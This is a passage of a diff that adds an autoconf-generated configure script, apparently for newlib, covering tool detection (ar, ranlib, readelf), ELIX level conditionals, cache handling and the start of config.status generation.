++ac_tool_warned=yes ;; ++esac ++ AS=$ac_ct_AS ++ fi ++else ++ AS="$ac_cv_prog_AS" ++fi ++ ++if test -n "$ac_tool_prefix"; then ++ # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args. ++set dummy ${ac_tool_prefix}ar; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_AR+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$AR"; then ++ ac_cv_prog_AR="$AR" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_AR="${ac_tool_prefix}ar" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++AR=$ac_cv_prog_AR ++if test -n "$AR"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AR" >&5 ++$as_echo "$AR" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ ++fi ++if test -z "$ac_cv_prog_AR"; then ++ ac_ct_AR=$AR ++ # Extract the first word of "ar", so it can be a program name with args. ++set dummy ar; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_ac_ct_AR+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$ac_ct_AR"; then ++ ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_ac_ct_AR="ar" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++ac_ct_AR=$ac_cv_prog_ac_ct_AR ++if test -n "$ac_ct_AR"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AR" >&5 ++$as_echo "$ac_ct_AR" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ if test "x$ac_ct_AR" = x; then ++ AR="" ++ else ++ case $cross_compiling:$ac_tool_warned in ++yes:) ++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 ++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ++ac_tool_warned=yes ;; ++esac ++ AR=$ac_ct_AR ++ fi ++else ++ AR="$ac_cv_prog_AR" ++fi ++ ++if test -n "$ac_tool_prefix"; then ++ # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. ++set dummy ${ac_tool_prefix}ranlib; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_RANLIB+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$RANLIB"; then ++ ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++RANLIB=$ac_cv_prog_RANLIB ++if test -n "$RANLIB"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $RANLIB" >&5 ++$as_echo "$RANLIB" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ ++fi ++if test -z "$ac_cv_prog_RANLIB"; then ++ ac_ct_RANLIB=$RANLIB ++ # Extract the first word of "ranlib", so it can be a program name with args. ++set dummy ranlib; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_ac_ct_RANLIB+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$ac_ct_RANLIB"; then ++ ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_ac_ct_RANLIB="ranlib" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB ++if test -n "$ac_ct_RANLIB"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_RANLIB" >&5 ++$as_echo "$ac_ct_RANLIB" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ if test "x$ac_ct_RANLIB" = x; then ++ RANLIB=":" ++ else ++ case $cross_compiling:$ac_tool_warned in ++yes:) ++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 ++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ++ac_tool_warned=yes ;; ++esac ++ RANLIB=$ac_ct_RANLIB ++ fi ++else ++ RANLIB="$ac_cv_prog_RANLIB" ++fi ++ ++if test -n "$ac_tool_prefix"; then ++ # Extract the first word of "${ac_tool_prefix}readelf", so it can be a program name with args. ++set dummy ${ac_tool_prefix}readelf; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_READELF+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$READELF"; then ++ ac_cv_prog_READELF="$READELF" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_READELF="${ac_tool_prefix}readelf" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++READELF=$ac_cv_prog_READELF ++if test -n "$READELF"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $READELF" >&5 ++$as_echo "$READELF" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ ++fi ++if test -z "$ac_cv_prog_READELF"; then ++ ac_ct_READELF=$READELF ++ # Extract the first word of "readelf", so it can be a program name with args. ++set dummy readelf; ac_word=$2 ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 ++$as_echo_n "checking for $ac_word... " >&6; } ++if ${ac_cv_prog_ac_ct_READELF+:} false; then : ++ $as_echo_n "(cached) " >&6 ++else ++ if test -n "$ac_ct_READELF"; then ++ ac_cv_prog_ac_ct_READELF="$ac_ct_READELF" # Let the user override the test. ++else ++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ for ac_exec_ext in '' $ac_executable_extensions; do ++ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_ac_ct_READELF="readelf" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++ac_ct_READELF=$ac_cv_prog_ac_ct_READELF ++if test -n "$ac_ct_READELF"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_READELF" >&5 ++$as_echo "$ac_ct_READELF" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ if test "x$ac_ct_READELF" = x; then ++ READELF=":" ++ else ++ case $cross_compiling:$ac_tool_warned in ++yes:) ++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 ++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ++ac_tool_warned=yes ;; ++esac ++ READELF=$ac_ct_READELF ++ fi ++else ++ READELF="$ac_cv_prog_READELF" ++fi ++ ++ ++ ++ ++# Hack to ensure that INSTALL won't be set to "../" with autoconf 2.13. */ ++ac_given_INSTALL=$INSTALL ++ ++ ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to enable maintainer-specific portions of Makefiles" >&5 ++$as_echo_n "checking whether to enable maintainer-specific portions of Makefiles... " >&6; } ++ # Check whether --enable-maintainer-mode was given. ++if test "${enable_maintainer_mode+set}" = set; then : ++ enableval=$enable_maintainer_mode; USE_MAINTAINER_MODE=$enableval ++else ++ USE_MAINTAINER_MODE=no ++fi ++ ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $USE_MAINTAINER_MODE" >&5 ++$as_echo "$USE_MAINTAINER_MODE" >&6; } ++ if test $USE_MAINTAINER_MODE = yes; then ++ MAINTAINER_MODE_TRUE= ++ MAINTAINER_MODE_FALSE='#' ++else ++ MAINTAINER_MODE_TRUE='#' ++ MAINTAINER_MODE_FALSE= ++fi ++ ++ MAINT=$MAINTAINER_MODE_TRUE ++ ++ ++# By default we simply use the C compiler to build assembly code. ++ ++test "${CCAS+set}" = set || CCAS=$CC ++test "${CCASFLAGS+set}" = set || CCASFLAGS=$CFLAGS ++ ++ ++ ++ ++# We need AC_EXEEXT to keep automake happy in cygnus mode. However, ++# at least currently, we never actually build a program, so we never ++# need to use $(EXEEXT). Moreover, the test for EXEEXT normally ++# fails, because we are probably configuring with a cross compiler ++# which can't create executables. So we include AC_EXEEXT to keep ++# automake happy, but we don't execute it, since we don't care about ++# the result. ++if false; then ++ ++ dummy_var=1 ++fi ++ ++. ${newlib_basedir}/configure.host ++ ++NEWLIB_CFLAGS=${newlib_cflags} ++ ++ ++NO_INCLUDE_LIST=${noinclude} ++ ++ ++LDFLAGS=${ldflags} ++ ++ ++ if test x${newlib_elix_level} = x0; then ++ ELIX_LEVEL_0_TRUE= ++ ELIX_LEVEL_0_FALSE='#' ++else ++ ELIX_LEVEL_0_TRUE='#' ++ ELIX_LEVEL_0_FALSE= ++fi ++ ++ if test x${newlib_elix_level} = x1; then ++ ELIX_LEVEL_1_TRUE= ++ ELIX_LEVEL_1_FALSE='#' ++else ++ ELIX_LEVEL_1_TRUE='#' ++ ELIX_LEVEL_1_FALSE= ++fi ++ ++ if test x${newlib_elix_level} = x2; then ++ ELIX_LEVEL_2_TRUE= ++ ELIX_LEVEL_2_FALSE='#' ++else ++ ELIX_LEVEL_2_TRUE='#' ++ ELIX_LEVEL_2_FALSE= ++fi ++ ++ if test x${newlib_elix_level} = x3; then ++ ELIX_LEVEL_3_TRUE= ++ ELIX_LEVEL_3_FALSE='#' ++else ++ ELIX_LEVEL_3_TRUE='#' ++ ELIX_LEVEL_3_FALSE= ++fi ++ ++ if test x${newlib_elix_level} = x4; then ++ ELIX_LEVEL_4_TRUE= ++ ELIX_LEVEL_4_FALSE='#' ++else ++ ELIX_LEVEL_4_TRUE='#' ++ ELIX_LEVEL_4_FALSE= ++fi ++ ++ ++ if test x${use_libtool} = xyes; then ++ USE_LIBTOOL_TRUE= ++ USE_LIBTOOL_FALSE='#' ++else ++ USE_LIBTOOL_TRUE='#' ++ USE_LIBTOOL_FALSE= ++fi ++ ++ ++# Emit any target-specific warnings. ++if test "x${newlib_msg_warn}" != "x"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: ${newlib_msg_warn}" >&5 ++$as_echo "$as_me: WARNING: ${newlib_msg_warn}" >&2;} ++fi ++ ++# Hard-code OBJEXT. Normally it is set by AC_OBJEXT, but we ++# use oext, which is set in configure.host based on the target platform. ++OBJEXT=${oext} ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ac_config_files="$ac_config_files Makefile" ++ ++cat >confcache <<\_ACEOF ++# This file is a shell script that caches the results of configure ++# tests run on this system so they can be shared between configure ++# scripts and configure runs, see configure's option --config-cache. ++# It is not useful on other systems. If it contains results you don't ++# want to keep, you may remove or edit it. ++# ++# config.status only pays attention to the cache file if you give it ++# the --recheck option to rerun configure. ++# ++# `ac_cv_env_foo' variables (set or unset) will be overridden when ++# loading this file, other *unset* `ac_cv_foo' will be assigned the ++# following values. ++ ++_ACEOF ++ ++# The following way of writing the cache mishandles newlines in values, ++# but we know of no workaround that is simple, portable, and efficient. ++# So, we kill variables containing newlines. ++# Ultrix sh set writes to stderr and can't be redirected directly, ++# and sets the high bit in the cache file unless we assign to the vars. ++( ++ for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do ++ eval ac_val=\$$ac_var ++ case $ac_val in #( ++ *${as_nl}*) ++ case $ac_var in #( ++ *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 ++$as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; ++ esac ++ case $ac_var in #( ++ _ | IFS | as_nl) ;; #( ++ BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( ++ *) { eval $ac_var=; unset $ac_var;} ;; ++ esac ;; ++ esac ++ done ++ ++ (set) 2>&1 | ++ case $as_nl`(ac_space=' '; set) 2>&1` in #( ++ *${as_nl}ac_space=\ *) ++ # `set' does not quote correctly, so add quotes: double-quote ++ # substitution turns \\\\ into \\, and sed turns \\ into \. ++ sed -n \ ++ "s/'/'\\\\''/g; ++ s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" ++ ;; #( ++ *) ++ # `set' quotes correctly as required by POSIX, so do not add quotes. ++ sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ++ ;; ++ esac | ++ sort ++) | ++ sed ' ++ /^ac_cv_env_/b end ++ t clear ++ :clear ++ s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ ++ t end ++ s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ ++ :end' >>confcache ++if diff "$cache_file" confcache >/dev/null 2>&1; then :; else ++ if test -w "$cache_file"; then ++ if test "x$cache_file" != "x/dev/null"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5 ++$as_echo "$as_me: updating cache $cache_file" >&6;} ++ if test ! -f "$cache_file" || test -h "$cache_file"; then ++ cat confcache >"$cache_file" ++ else ++ case $cache_file in #( ++ */* | ?:*) ++ mv -f confcache "$cache_file"$$ && ++ mv -f "$cache_file"$$ "$cache_file" ;; #( ++ *) ++ mv -f confcache "$cache_file" ;; ++ esac ++ fi ++ fi ++ else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5 ++$as_echo "$as_me: not updating unwritable cache $cache_file" >&6;} ++ fi ++fi ++rm -f confcache ++ ++test "x$prefix" = xNONE && prefix=$ac_default_prefix ++# Let make expand exec_prefix. ++test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' ++ ++# Transform confdefs.h into DEFS. ++# Protect against shell expansion while executing Makefile rules. ++# Protect against Makefile macro expansion. ++# ++# If the first sed substitution is executed (which looks for macros that ++# take arguments), then branch to the quote section. Otherwise, ++# look for a macro that doesn't take arguments. ++ac_script=' ++:mline ++/\\$/{ ++ N ++ s,\\\n,, ++ b mline ++} ++t clear ++:clear ++s/^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*([^)]*)\)[ ]*\(.*\)/-D\1=\2/g ++t quote ++s/^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)/-D\1=\2/g ++t quote ++b any ++:quote ++s/[ `~#$^&*(){}\\|;'\''"<>?]/\\&/g ++s/\[/\\&/g ++s/\]/\\&/g ++s/\$/$$/g ++H ++:any ++${ ++ g ++ s/^\n// ++ s/\n/ /g ++ p ++} ++' ++DEFS=`sed -n "$ac_script" confdefs.h` ++ ++ ++ac_libobjs= ++ac_ltlibobjs= ++U= ++for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue ++ # 1. Remove the extension, and $U if already installed. ++ ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' ++ ac_i=`$as_echo "$ac_i" | sed "$ac_script"` ++ # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR ++ # will be set to the directory where LIBOBJS objects are built. ++ as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext" ++ as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo' ++done ++LIBOBJS=$ac_libobjs ++ ++LTLIBOBJS=$ac_ltlibobjs ++ ++ ++if test -z "${MAY_SUPPLY_SYSCALLS_TRUE}" && test -z "${MAY_SUPPLY_SYSCALLS_FALSE}"; then ++ as_fn_error $? "conditional \"MAY_SUPPLY_SYSCALLS\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++ ++if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then ++ as_fn_error $? "conditional \"AMDEP\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then ++ as_fn_error $? "conditional \"am__fastdepCC\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${MAINTAINER_MODE_TRUE}" && test -z "${MAINTAINER_MODE_FALSE}"; then ++ as_fn_error $? "conditional \"MAINTAINER_MODE\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${ELIX_LEVEL_0_TRUE}" && test -z "${ELIX_LEVEL_0_FALSE}"; then ++ as_fn_error $? "conditional \"ELIX_LEVEL_0\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${ELIX_LEVEL_1_TRUE}" && test -z "${ELIX_LEVEL_1_FALSE}"; then ++ as_fn_error $? "conditional \"ELIX_LEVEL_1\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${ELIX_LEVEL_2_TRUE}" && test -z "${ELIX_LEVEL_2_FALSE}"; then ++ as_fn_error $? "conditional \"ELIX_LEVEL_2\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${ELIX_LEVEL_3_TRUE}" && test -z "${ELIX_LEVEL_3_FALSE}"; then ++ as_fn_error $? "conditional \"ELIX_LEVEL_3\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${ELIX_LEVEL_4_TRUE}" && test -z "${ELIX_LEVEL_4_FALSE}"; then ++ as_fn_error $? "conditional \"ELIX_LEVEL_4\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${USE_LIBTOOL_TRUE}" && test -z "${USE_LIBTOOL_FALSE}"; then ++ as_fn_error $? "conditional \"USE_LIBTOOL\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++ ++: "${CONFIG_STATUS=./config.status}" ++ac_write_fail=0 ++ac_clean_files_save=$ac_clean_files ++ac_clean_files="$ac_clean_files $CONFIG_STATUS" ++{ $as_echo "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5 ++$as_echo "$as_me: creating $CONFIG_STATUS" >&6;} ++as_write_fail=0 ++cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1 ++#! $SHELL ++# Generated by $as_me. ++# Run this file to recreate the current configuration. ++# Compiler output produced by configure, useful for debugging ++# configure, is in config.log if it exists. ++ ++debug=false ++ac_cs_recheck=false ++ac_cs_silent=false ++ ++SHELL=\${CONFIG_SHELL-$SHELL} ++export SHELL ++_ASEOF ++cat >>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1 ++## -------------------- ## ++## M4sh Initialization. ## ++## -------------------- ## ++ ++# Be more Bourne compatible ++DUALCASE=1; export DUALCASE # for MKS sh ++if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : ++ emulate sh ++ NULLCMD=: ++ # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which ++ # is contrary to our usage. Disable this feature. ++ alias -g '${1+"$@"}'='"$@"' ++ setopt NO_GLOB_SUBST ++else ++ case `(set -o) 2>/dev/null` in #( ++ *posix*) : ++ set -o posix ;; #( ++ *) : ++ ;; ++esac ++fi ++ ++ ++as_nl=' ++' ++export as_nl ++# Printing a long string crashes Solaris 7 /usr/bin/printf. ++as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' ++as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo ++as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo ++# Prefer a ksh shell builtin over an external printf program on Solaris, ++# but without wasting forks for bash or zsh. ++if test -z "$BASH_VERSION$ZSH_VERSION" \ ++ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then ++ as_echo='print -r --' ++ as_echo_n='print -rn --' ++elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then ++ as_echo='printf %s\n' ++ as_echo_n='printf %s' ++else ++ if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then ++ as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' ++ as_echo_n='/usr/ucb/echo -n' ++ else ++ as_echo_body='eval expr "X$1" : "X\\(.*\\)"' ++ as_echo_n_body='eval ++ arg=$1; ++ case $arg in #( ++ *"$as_nl"*) ++ expr "X$arg" : "X\\(.*\\)$as_nl"; ++ arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; ++ esac; ++ expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ++ ' ++ export as_echo_n_body ++ as_echo_n='sh -c $as_echo_n_body as_echo' ++ fi ++ export as_echo_body ++ as_echo='sh -c $as_echo_body as_echo' ++fi ++ ++# The user is always right. ++if test "${PATH_SEPARATOR+set}" != set; then ++ PATH_SEPARATOR=: ++ (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { ++ (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || ++ PATH_SEPARATOR=';' ++ } ++fi ++ ++ ++# IFS ++# We need space, tab and new line, in precisely that order. Quoting is ++# there to prevent editors from complaining about space-tab. ++# (If _AS_PATH_WALK were called with IFS unset, it would disable word ++# splitting by setting IFS to empty value.) ++IFS=" "" $as_nl" ++ ++# Find who we are. Look in the path if we contain no directory separator. ++as_myself= ++case $0 in #(( ++ *[\\/]* ) as_myself=$0 ;; ++ *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break ++ done ++IFS=$as_save_IFS ++ ++ ;; ++esac ++# We did not find ourselves, most probably we were run as `sh COMMAND' ++# in which case we are not to be found in the path. ++if test "x$as_myself" = x; then ++ as_myself=$0 ++fi ++if test ! -f "$as_myself"; then ++ $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 ++ exit 1 ++fi ++ ++# Unset variables that we do not need and which cause bugs (e.g. in ++# pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" ++# suppresses any "Segmentation fault" message there. '((' could ++# trigger a bug in pdksh 5.2.14. ++for as_var in BASH_ENV ENV MAIL MAILPATH ++do eval test x\${$as_var+set} = xset \ ++ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : ++done ++PS1='$ ' ++PS2='> ' ++PS4='+ ' ++ ++# NLS nuisances. ++LC_ALL=C ++export LC_ALL ++LANGUAGE=C ++export LANGUAGE ++ ++# CDPATH. ++(unset CDPATH) >/dev/null 2>&1 && unset CDPATH ++ ++ ++# as_fn_error STATUS ERROR [LINENO LOG_FD] ++# ---------------------------------------- ++# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are ++# provided, also output the error to LOG_FD, referencing LINENO. Then exit the ++# script with STATUS, using 1 if that was 0. ++as_fn_error () ++{ ++ as_status=$1; test $as_status -eq 0 && as_status=1 ++ if test "$4"; then ++ as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack ++ $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 ++ fi ++ $as_echo "$as_me: error: $2" >&2 ++ as_fn_exit $as_status ++} # as_fn_error ++ ++ ++# as_fn_set_status STATUS ++# ----------------------- ++# Set $? to STATUS, without forking. ++as_fn_set_status () ++{ ++ return $1 ++} # as_fn_set_status ++ ++# as_fn_exit STATUS ++# ----------------- ++# Exit the shell with STATUS, even in a "trap 0" or "set -e" context. ++as_fn_exit () ++{ ++ set +e ++ as_fn_set_status $1 ++ exit $1 ++} # as_fn_exit ++ ++# as_fn_unset VAR ++# --------------- ++# Portably unset VAR. ++as_fn_unset () ++{ ++ { eval $1=; unset $1;} ++} ++as_unset=as_fn_unset ++# as_fn_append VAR VALUE ++# ---------------------- ++# Append the text in VALUE to the end of the definition contained in VAR. Take ++# advantage of any shell optimizations that allow amortized linear growth over ++# repeated appends, instead of the typical quadratic growth present in naive ++# implementations. ++if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : ++ eval 'as_fn_append () ++ { ++ eval $1+=\$2 ++ }' ++else ++ as_fn_append () ++ { ++ eval $1=\$$1\$2 ++ } ++fi # as_fn_append ++ ++# as_fn_arith ARG... ++# ------------------ ++# Perform arithmetic evaluation on the ARGs, and store the result in the ++# global $as_val. Take advantage of shells that can avoid forks. The arguments ++# must be portable across $(()) and expr. ++if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : ++ eval 'as_fn_arith () ++ { ++ as_val=$(( $* )) ++ }' ++else ++ as_fn_arith () ++ { ++ as_val=`expr "$@" || test $? -eq 1` ++ } ++fi # as_fn_arith ++ ++ ++if expr a : '\(a\)' >/dev/null 2>&1 && ++ test "X`expr 00001 : '.*\(...\)'`" = X001; then ++ as_expr=expr ++else ++ as_expr=false ++fi ++ ++if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then ++ as_basename=basename ++else ++ as_basename=false ++fi ++ ++if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then ++ as_dirname=dirname ++else ++ as_dirname=false ++fi ++ ++as_me=`$as_basename -- "$0" || ++$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ ++ X"$0" : 'X\(//\)$' \| \ ++ X"$0" : 'X\(/\)' \| . 2>/dev/null || ++$as_echo X/"$0" | ++ sed '/^.*\/\([^/][^/]*\)\/*$/{ ++ s//\1/ ++ q ++ } ++ /^X\/\(\/\/\)$/{ ++ s//\1/ ++ q ++ } ++ /^X\/\(\/\).*/{ ++ s//\1/ ++ q ++ } ++ s/.*/./; q'` ++ ++# Avoid depending upon Character Ranges. ++as_cr_letters='abcdefghijklmnopqrstuvwxyz' ++as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' ++as_cr_Letters=$as_cr_letters$as_cr_LETTERS ++as_cr_digits='0123456789' ++as_cr_alnum=$as_cr_Letters$as_cr_digits ++ ++ECHO_C= ECHO_N= ECHO_T= ++case `echo -n x` in #((((( ++-n*) ++ case `echo 'xy\c'` in ++ *c*) ECHO_T=' 